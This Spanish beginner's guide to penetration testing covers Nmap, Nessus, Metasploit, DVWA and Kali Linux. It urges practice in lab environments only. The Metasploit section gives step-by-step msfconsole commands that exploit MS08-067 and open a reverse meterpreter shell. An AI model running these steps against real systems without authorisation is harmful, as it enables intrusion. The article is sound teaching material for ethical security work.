Pruebas de penetración para principiantes: 5 herramientas para empezar
Realizar
pruebas de penetración es una tarea compleja, involucra un proceso en
donde se realizan distintos tipos de tareas que identifican, en una
infraestructura objetivo, las vulnerabilidades que podrían explotarse y
los daños que podría causar un atacante. En otras palabras, se realiza
un proceso de hacking ético para identificar qué incidentes podrían
ocurrir antes de que sucedan y, posteriormente, reparar o mejorar el
sistema, de tal forma que se eviten estos ataques.
Para realizar una prueba de penetración de forma profesional, es necesario sumar a los conocimientos de hacking ético[1],
otros aspectos fundamentales como: programación, metodologías,
documentación, entre otros. No obstante, esos aprendizajes suelen venir
una vez que se conocen y se saben utilizar muchas herramientas que son
parte del proceso de penetration testing. El presente artículo es un
listado de las cinco herramientas que debes conocer, instalar y probar
para dar tus primeros pasos en este “arte”.
Lo que verás a continuación, es una
pequeña guía de “por dónde empezar” para aquellos principiantes que
deseen introducirse en el mundo del hacking ético y de las pruebas de
penetración. Estas son, a mi criterio, las primeras herramientas que
deberás conocer, no solo para comenzar a prepararte para realizar esta
tarea, sino para empezar a comprenderla.
1. NMAP
Imagen 1. Salida tradicional de ejecución de Nmap (nmap.org)
En un proceso completo de pruebas de
penetración, existen instancias previas a ejecutar esta herramienta
pero, para dar los primeros pasos, probablemente sea la mejor forma de
comenzar. Nmap es una herramienta de escaneo de redes que permite
identificar qué servicios se están ejecutando en un dispositivo remoto,
así como la identificación de equipos activos, sistemas operativos en el
equipo remoto, existencia de filtros o firewalls, entre otros.
En palabras sencillas, cuando se va a
atacar un servidor o dispositivo, el atacante podrá realizar distintas
arremetidas en función del servicio: no es lo mismo dañar un servidor
web, un servidor de base de datos o un router perimetral. Por lo tanto,
en cualquier despliegue, el primer paso será identificar los servicios
en la infraestructura, para decidir cómo avanzar y, considerando que en
una prueba de penetración se “imitan” los pasos de un atacante, también
se iniciará de la misma manera.
Nmap es una herramienta de línea de
comandos (existen algunas interfaces gráficas pero, personalmente, no
las recomiendo, aunque es una cuestión de gustos) donde se debe indicar
cuál será el o los objetivos y la serie de parámetros que afectarán la
forma en que se ejecuten las pruebas y los resultados que se obtienen.
Puede instalarse tanto en Linux, Windows, Mac u otros sistemas
operativos.
En su forma tradicional, una línea de comando sería la siguiente:
> nmap 172.16.1.1
En donde nmap es el comando en sí mismo y 172.16.1.1
es el objetivo (que también puede ser indicado con un nombre de
dominio). La respuesta a estos comandos será un listado de los puertos
abiertos o cerrados en dicha dirección. La ejecución sin parámetros
ejecuta un escaneo sencillo a los 1000 puertos más comunes (véase que en
la imagen se muestra uno abierto y 999 cerrados), realizando
anteriormente un ping para ver si el equipo está vivo (si el equipo no
responde al ping, no se realizará el test de los puertos).
Cuando agregas parámetros puedes obtener mejores resultados. Algunos parámetros comunes para tener en cuenta son:
- [-iL] puedes indicar una lista de equipos o redes a escanear. > nmap –iL hosts.txt
- [-sP] solo escanea con un ping. Es una buena forma de ver cuántas direcciones IP se pueden checar. Una vez que se tienen enlistadas, se podrá ir solo con las que están vivas.
- [-P0] es la forma de omitir el ping e ir directo al escaneo de puertos. Muchos sistemas no responden el ping como método de seguridad, por lo que, escanearlos de todas formas, también puede ser útil en entornos más reales (no es necesario para los entornos de aprendizaje inicial).
- [-p] lista los puertos que se desean escanear. > nmap –iL hosts.txt –p 22,25,80,445
- [-sV] intenta determinar la versión del servicio en el objetivo.
- [-O] informa el sistema operativo en el objetivo.
Una vez ejecutado Nmap, ya se conocen
cuáles son los servicios (al menos los identificados) que se están
ejecutando en el blanco de la prueba de penetración. Ahora ya se puede
pasar a las siguientes etapas, en donde se utilizará esta información
para comenzar la búsqueda de vulnerabilidades en la infraestructura y en
los servicios identificados.
Ficha técnica
- Herramienta: Nmap
- Sitio web: http://nmap.org/
- Cómo empezar: instalarlo, ejecutar un comando sencillo hacia una dirección IP y luego probar agregando parámetros (nmap --help puede brindar más información) o ejecutar para múltiples direcciones IP (que deben ser indicadas en un archivo TXT).
- Más información: Recomiendo este artículo con 30 comandos para ver y analizar las diferencias en las respuestas. También está el libro oficial para explotar al máximo la funcionalidad de Nmap, escrito por su creador, Gordon “Fyodor” Lyon.
2. NESSUS
Una vez que se tienen identificados los
servicios que se están ejecutando, se puede comenzar el uso de las
herramientas que sirven para identificar vulnerabilidades en los
servicios. En este campo, la mejor herramienta para introducirse en este
mundo es Nessus, otra aplicación gratuita (solo para uso hogareño,
suficiente para los fines de este artículo; en el caso de fines
profesionales es necesario usar la versión de pago) que, por su base de
datos y su facilidad de uso, es la preferida en este aspecto.
Aunque posee una línea de comandos,
considero que su interfaz gráfica, muy completa e intuitiva, es una
forma sencilla de comenzar a probar esta herramienta.
Nessus posee una extensa base de datos
de vulnerabilidades conocidas en distintos servicios y, por cada una de
éstas, posee plugins que se ejecutan para identificar si la
vulnerabilidad existe (o no) en determinado equipo objetivo. En resumen,
al ejecutarse Nessus sin parámetros específicos, se probarán miles de
vulnerabilidades y se obtendrá como resultado un listado de las
vulnerabilidades que fueron identificadas.
La lógica de Nessus es similar a Nmap:
hay que indicar el objetivo, en este caso la o las direcciones IP y los
parámetros. Estos permiten limitar el campo de búsqueda, especialmente
si en una etapa anterior se identificaron los servicios: no tiene
sentido buscar vulnerabilidades conocidas en Linux en un equipo que
tiene instalado Windows.
Imagen 2. Sección de configuraciones generales de exploración de Nessus (tenable.com)
Ficha técnica
- Herramienta: Nessus
- Sitio web: http://www.tenable.com/products/nessus/
- Cómo empezar: Si tienes Windows, instalarlo ahí por interfaz gráfica es muy sencillo, funciona para conocerlo por primera vez. Recomiendo buscar el listado de plugins y ejecutar pruebas limitando solo a determinados servicios.
- Más información: Un listado completo de plugins está disponible en el sitio web, la lectura de las descripciones es muy útil para aprender más sobre vulnerabilidades en diversas plataformas (http://www.tenable.com/plugins/index.php?view=all).
3. Metasploit Framework
Una vez identificados los servicios y
sus vulnerabilidades, el paso siguiente sería la explotación de las
vulnerabilidades. Es decir, primero se tiene que probar si realmente las
vulnerabilidades identificadas permiten a un atacante causar algún
daño. Después se intenta conocer cuál sería ese daño. A pesar de que se
haya identificado una vulnerabilidad en la instancia anterior, podría
ser que, al momento de intentar explotarla, existan otras medidas de
control que no hayan sido consideradas, otras capas de seguridad o
distintas variables que podrían hacer más complicada la explotación de
la misma. Asimismo, si se logra explotar la vulnerabilidad, podría
comprobarse y dimensionar cuál podría ser el daño hacia la organización,
en función de la información o sistemas que estuvieran “detrás” de
dicha vulnerabilidad.
Para este fin, Metasploit es la
herramienta ideal para hacer estas pruebas. Mientras Nessus posee una
base de datos de vulnerabilidades, Metasploit posee una base de exploits
que podrían aprovecharlas. En otras palabras, en lugar de revisar si
hay una vulnerabilidad en un equipo remoto, directamente se intenta la
ejecución de un exploit y se simulan las consecuencias posteriores, en
caso de que éste se ejecutara con éxito.
Al igual que Nessus, su versión de línea de comandos, msfconsole, es la tradicional, incluso recomendable para la automatización. Sin embargo, su interfaz gráfica es muy conveniente para dar los primeros pasos y tener una mayor comprensión.
Al igual que Nessus, su versión de línea de comandos, msfconsole, es la tradicional, incluso recomendable para la automatización. Sin embargo, su interfaz gráfica es muy conveniente para dar los primeros pasos y tener una mayor comprensión.
Si quieres probar la línea de comandos
puedes hacer las primeras pruebas. En Windows puedes abrirla
directamente desde el Menú de inicio como “Metasploit Console”. En
Linux, tan solo puedes ejecutar un simple comando:
> sudo msfpro
Una vez que estás en la consola, verás que cambia el prompt:
msf-pro >
Hay una serie de comandos sencillos para
dar los primeros pasos. Search, use, show, set y exploit son
probablemente los mejores. Probaremos explotar una de las
vulnerabilidades más famosas en Windows, la MS 08-067 (para ver el
boletín de la vulnerabilidad, clic aquí), una vulnerabilidad crítica descubierta en 2008 que permitía ejecución remota de código.
Si en un paso anterior (con Nessus)
encontraste que el sistema posee dicha vulnerabilidad (con Nmap podrías
haber encontrado que estás lidiando con una máquina Windows), sería
lógico con search encontrar el exploit a utilizar.
msf-pro > search exploits 08-067
Entre los resultados, lo más importante
es que podrás encontrar la ruta del exploit y luego con use podrás
decidir utilizarlo (sí, asombroso):
msf-pro > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) >
El comando show mostrará las alternativas para ejecutar el exploit.
msf exploit(ms08_067_netapi) > show options
Luego, se podrá utilizar el comando set
para configurar el exploit antes de la ejecución. En este caso,
definiremos el local host (nuestra dirección IP), al host remoto (la
dirección IP de destino, donde se supone que ya sabemos existe la
vulnerabilidad) y el payload (acción a ejecutar, en este caso usaremos
reverse_tcp que nos dará una consola remota en el equipo).
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(ms08_067_netapi) > set LHOST [192.168.0.1] msf exploit(ms08_067_netapi) > set RHOST [192.168.0.10]
Finalmente, solo debes ejecutar “exploit”.
msf exploit(ms08_067_netapi) > exploit
Si pudiste hacer estos pasos
correctamente, podrás ver una consola remota en el equipo Windows y
podrás testearla con comandos regulares de consola (ipconfig, dir,
etc.).
Ficha técnica
- Herramienta: Metasploit
- Sitio web: http://www.metasploit.com/
- Dónde empezar: una vez instalado, haz la prueba con alguna vulnerabilidad que permita el uso de una consola meterpreter remota, son sencillas de probar si fueron exitosas. Hay que tener precaución con las vulnerabilidades de denegación de servicio.
- Más información: Existe un documento oficial completo para dar los primeros pasos en Metasploit Framework, muy recomendable, “Metasploit Community Getting Started Guide".
4. DVL – DVWA
Para probar las tres herramientas
anteriores, es necesario definir un sistema objetivo, un sistema en el
que se harán las pruebas. Una pésima costumbre de quienes inician en
este ámbito es realizar sus primeros pasos y pruebas en sistemas
públicos de Internet, en un entorno real. Esto podría acarrear problemas
legales y no es la forma correcta (ni ética) de realizarlo. Para
aprender a usar estas herramientas, se debe utilizar un entorno de
pruebas, es decir, un escenario de investigación en donde uno pueda
tener acercamientos sin riesgos de afectar algún entorno en producción.
Para ello, existen dos herramientas
excelentes: Damn Vulnerable Linuxy (DVL) y Damn Vulnerable Web
Application (DVWA). Aunque el primero está descontinuado, aún se puede
conseguir en Internet para hacer los primeros pasos y primeras pruebas.
Se trata de un sistema operativo y una aplicación web que poseen todo
tipo de vulnerabilidades, de tal forma que, la persona que los utiliza,
puede intentar explotarlas y experimentar.
También es posible “construir” nuestro
propio sistema de pruebas: tan solo instala cualquier sistema operativo
(desactiva las actualizaciones o instala una versión antigua) y sobre él
comienza a instalar servicios en versiones anteriores a la última. De
esta forma, tendrás tu propio sistema vulnerable para hacer pruebas.
Este entorno es el correcto para dar tus primeros pasos en Penetration
Testing.
Imagen 4. Damn Vulnerable Web Application (computersecuritystudent.com)
Ficha técnica
- Herramienta: Damn Vulnerable Web Application
- Sitio web: http://www.dvwa.co.uk/
- Dónde empezar: Instala el programa e intenta encontrar y explotar vulnerabilidades comunes con la herramienta anterior.
- Más información: la aplicación posee información adicional, da clic aquí encontrarás los aspectos más importantes para instalarlo.
5. Kali Linux (Backtrack)
Finalmente, hay una distribución de
Linux diseñada exclusivamente para Penetration Testing. Las herramientas
antes descritas (Nmap, Nessus, Metasploit) están disponibles y, no solo
eso, también hay muchas más herramientas para continuar practicando.
Por ejemplo, Kali (antes conocida como Backtrack) es una distribución
que posee todo tipo de herramientas preinstaladas que sirven para
realizar Penetration Testing.
El orden en que se presentaron las
herramientas no es aleatorio, es lo recomendable para comenzar a
experimentar. Primero hay que probarlas de forma aislada y luego,
abocarse completamente a Kali Linux.
Kali Linux puede ser descargada como
imagen ISO o directamente para VMWare. Una vez que inicias un sistema
Kali Linux, verás un menú muy extenso con más de 300 herramientas para
pentesters. Nmap y Metasploit Framework están incluidos en esta lista,
entre otros.
Imagen 5. Menú de Kali Linux (voiceofgreyhat.com)
Para una mejor comprensión, las herramientas son presentadas en diferentes categorías, aquí algunas de las más importantes:
- Information gathering: Herramientas de recolección de datos que ofrecen información sobre los objetivos de los análisis, especialmente herramientas de DNS, dominios y direcciones IP. Nmap está en esta categoría.
- Aplicaciones web: Herramientas diseñadas para realizar análisis en sitios web a nivel de servidores. Recomendaciones para esta sección: Nikto y w3af para encontrar vulnerabilidades en los sitios.
- Ataques a contraseñas: Herramientas para hacer cracking de contraseñas, de forma tal, que se prueban ataques de fuerza bruta o diccionario para encontrar las contraseñas de acceso correctas a un formulario o sistema.
- Ataques inalámbricos: Cuando un atacante está conectado a una red wireless puede ejecutar algunos ataques, especialmente cuando intenta interceptar información que está siendo transmitida mediante esa red inalámbrica. Estas herramientas permiten analizar la red y diagnosticar su seguridad.
- Herramientas de explotación: Metasploit Framework es la clave de esta sección, entre otras herramientas que permiten explotar vulnerabilidades.
- Sniffing/Spoofing: Wireshark y Ettercap son las herramientas más recomendables. Con ellas, es posible ver el tráfico de red que podría permitir el acceso a información confidencial, entre otros ataques.
- Ingeniería inversa: Ollydbg es uno de los mejores debuggers que podrían ayudar a comprender qué acciones realiza un archivo en el sistema por medio de un proceso de ingeniería inversa.
- Forense: También hay una serie de herramientas para realizar análisis forenses sobre un sistema, es decir, se puede analizar el estado de un sistema justo en el momento que ocurrió determinado incidente; además se identifican acciones pasadas o archivos ocultos en el mismo, entre otros.
Ficha técnica
- Herramienta: Kali Linux
- Sitio web: http://www.kali.org/
- Cómo empezar: primero, probar las herramientas antes listadas pero desde dentro de Kali Linux y luego, adentrarse en su menú, donde las herramientas están categorizadas, lo que permitirá mayor comprensión.
- Más información: hay documentos disponibles en el sitio oficial en varios idiomas, para conocer más en detalle el kit de herramientas.
6. La sexta herramienta: nuestro cerebro
Hay una falsa idea de que una prueba de
penetración es la ejecución de una serie de herramientas en un orden
determinado. Esto no es así, la elección de las herramientas, la
ejecución de tareas manuales y la utilización de una metodología, son
tan solo algunas de las variables para convertirse en un profesional de
Penetration Testing. Sin embargo, un factor común en todo el proceso, es
que tenemos que pensar. Hay
dos tipos de ethical hacker, aquel que solo lee y utiliza lo que dicen
las herramientas y aquel que interpreta y pone su inteligencia para
ofrecer un informe que realmente brinde valor a su cliente, aquella
empresa u organización que necesita conocer cómo mejorar la protección
de la información y su infraestructura.
Los atacantes no solo ejecutan
herramientas, sino que piensan cómo atacar. Al momento de realizar un
Pentest es fundamental no perder de vista nuestra herramienta principal:
pensar. Independientemente de las herramientas de software que
utilicemos, pensar constantemente como un atacante, es la clave
principal para realizar un Penetration Testing de forma exitosa.
¿Qué debes hacer ahora? Solo toma esta
guía, descarga las herramientas e intenta utilizarlas. Probablemente en
una primera instancia tengas más preguntas que respuestas y si así
fuera, esa es la mejor manera de comenzar.
[1] La
utilización de herramientas y habilidades similares a los atacantes con
el ánimo de hacer un aporte a la seguridad y hacer el bien.